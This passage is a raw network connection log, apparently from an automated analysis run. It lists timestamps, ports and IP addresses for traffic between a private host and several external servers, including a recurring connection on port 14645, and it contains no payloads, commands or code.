Jul 26, 2024 13:08:59.999140024 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.999140024 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.999150038 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.999162912 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.999176025 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.999181986 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.999191999 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.999206066 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.999217987 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.999998093 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000010967 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000021935 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000027895 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000034094 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000045061 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000056982 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000058889 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000068903 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000087023 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000097990 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000101089 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000111103 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000123024 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000124931 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000771046 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000782967 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000793934 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000801086 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000806093 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000818014 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000828981 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000832081 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000842094 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000854015 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000854015 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000866890 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000878096 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000891924 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000893116 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000906944 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000907898 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.000919104 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.000931978 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001741886 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001753092 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001765966 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001777887 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001791000 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001791954 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001802921 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001805067 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001816034 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001827955 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001828909 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001841068 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001852989 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001864910 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001864910 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001872063 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.001877069 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001888990 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.001903057 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.002249956 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.002582073 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002595901 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002607107 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002815962 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002829075 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002839088 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002844095 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.002851963 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002865076 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002865076 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.002878904 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002890110 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002901077 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.002903938 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.002924919 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.003051996 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.038467884 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038507938 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038521051 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038589001 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038600922 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038613081 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038625956 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.038625002 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.038666010 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.038839102 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088226080 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088272095 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088284016 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088334084 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088561058 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088574886 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088587046 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088598967 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088613033 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088627100 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088710070 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088721037 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088733912 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088747025 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088758945 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088759899 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088771105 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088781118 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088788033 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088793039 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088803053 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.088804007 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.088830948 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089431047 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089442015 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089451075 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089462042 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089473009 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089482069 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089483976 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089497089 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089507103 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089509964 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089518070 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089519024 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089529991 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089541912 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089544058 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089554071 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089564085 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.089567900 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089633942 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.089633942 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.090342045 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090353966 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090363979 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090373993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090384960 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090393066 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.090414047 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.090416908 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090429068 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090440989 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090450048 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.090451956 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090477943 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.090959072 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090970993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090981007 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.090992928 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091002941 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091006041 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091015100 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091022968 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091026068 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091037035 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091048002 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091049910 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091073036 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091587067 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091598034 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091609001 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091622114 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091633081 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091635942 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091645002 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091655016 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091655970 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091665030 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091675997 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091686964 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.091690063 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.091737986 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.092294931 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092308044 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092319012 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092329979 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092339993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092345953 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092351913 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092359066 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.092364073 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092371941 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.092375994 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092386961 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092397928 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092401981 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.092408895 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092420101 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.092422009 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.092456102 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.094979048 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.094990969 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095000982 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095014095 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095025063 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095029116 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095036983 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095046997 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095052004 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095058918 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095071077 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095081091 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095092058 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095096111 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095096111 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095104933 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095123053 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095125914 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095135927 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095146894 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095146894 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095159054 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095159054 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095170021 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095182896 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095184088 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095192909 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095204115 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095206022 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095216990 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095228910 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095238924 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095242023 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095251083 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095262051 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095272064 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095283985 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095293999 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095297098 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095305920 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095315933 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095325947 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095328093 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095339060 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.095340967 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.095365047 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.129044056 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129070997 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129085064 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129096985 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129110098 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129122019 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129136086 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.129137993 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.129170895 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.129218102 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.177428007 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177452087 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177464008 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177475929 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177488089 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177499056 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177509069 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177601099 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.177602053 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.177602053 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.177670002 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177681923 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177690983 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:09:00.177717924 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.384567976 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.386464119 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:09:00.386529922 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:09:00.546581984 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:00.551611900 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:00.551763058 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:00.562685013 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:00.573777914 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.539443016 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.750840902 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.750905037 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:01.816678047 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.820595980 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:01.825496912 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.825615883 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:01.830477953 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:01.830534935 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:01.835524082 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:02.495759010 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:02.497265100 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:02.502258062 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:02.769778013 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:02.983077049 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:02.986278057 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:03.395087957 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:09:03.400669098 CEST	80	49174	178.237.33.50	192.168.2.22
Jul 26, 2024 13:09:03.400762081 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:09:03.401309013 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:09:03.406310081 CEST	80	49174	178.237.33.50	192.168.2.22
Jul 26, 2024 13:09:04.026494980 CEST	80	49174	178.237.33.50	192.168.2.22
Jul 26, 2024 13:09:04.026572943 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:09:04.033370018 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:04.038324118 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:05.026727915 CEST	80	49174	178.237.33.50	192.168.2.22
Jul 26, 2024 13:09:05.026829004 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:09:32.877070904 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:32.879153013 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:09:32.884226084 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:09:45.895103931 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:09:45.895287037 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:10:02.969361067 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:10:02.970947027 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:10:02.977583885 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:10:08.073378086 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:08.432024956 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:09.040395975 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:10.241583109 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:12.644120932 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:17.481343985 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:27.136425018 CEST	49174	80	192.168.2.22	178.237.33.50
Jul 26, 2024 13:10:33.058919907 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:10:33.060260057 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:10:33.065125942 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:10:51.613073111 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:11:03.137415886 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:11:03.138771057 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:11:03.143903971 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:11:33.232625961 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:11:33.235214949 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:11:33.240761042 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:12:03.328579903 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:12:03.361778975 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:12:03.366997004 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:12:33.416944981 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:12:33.418390036 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:12:33.423290968 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:13:03.489952087 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:13:03.491184950 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:13:03.496237993 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:13:33.578285933 CEST	14645	49173	194.187.251.115	192.168.2.22
Jul 26, 2024 13:13:33.579775095 CEST	49173	14645	192.168.2.22	194.187.251.115
Jul 26, 2024 13:13:33.584805965 CEST	14645	49173	194.187.251.115	192.168.2.22
